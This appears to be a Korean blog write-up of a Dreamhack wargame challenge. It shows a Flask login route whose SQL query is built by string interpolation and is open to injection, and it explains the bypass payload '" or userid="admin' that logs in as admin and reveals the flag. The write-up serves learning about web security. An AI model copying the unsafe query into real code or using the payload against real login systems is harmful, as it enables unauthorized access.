728x90
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
핵심 코드는 login 함수다. flag를 출력하는 문이 보인다.
Login 페이지에서 userid & password 전송하면 POST 방식이 되고 login 함수의 else 부분이 실행된다. 쿼리 실행결과 userid가 admin이면 FLAG가 출력된다.
userid에 admin을 넣고 password에 " or userid="admin 을 넣었다. 결과적으로 아래의 쿼리가 완성된다.
select * from users where userid="admin" and userpassword="" or userid="admin"
728x90
'dreamhack > Web Hacking' 카테고리의 다른 글
pathtraversal (0) | 2023.02.11 |
---|---|
session-basic (0) | 2023.02.09 |
file-download-1 (0) | 2023.02.09 |
XSS-1 (0) | 2023.02.07 |
cookie (0) | 2023.02.07 |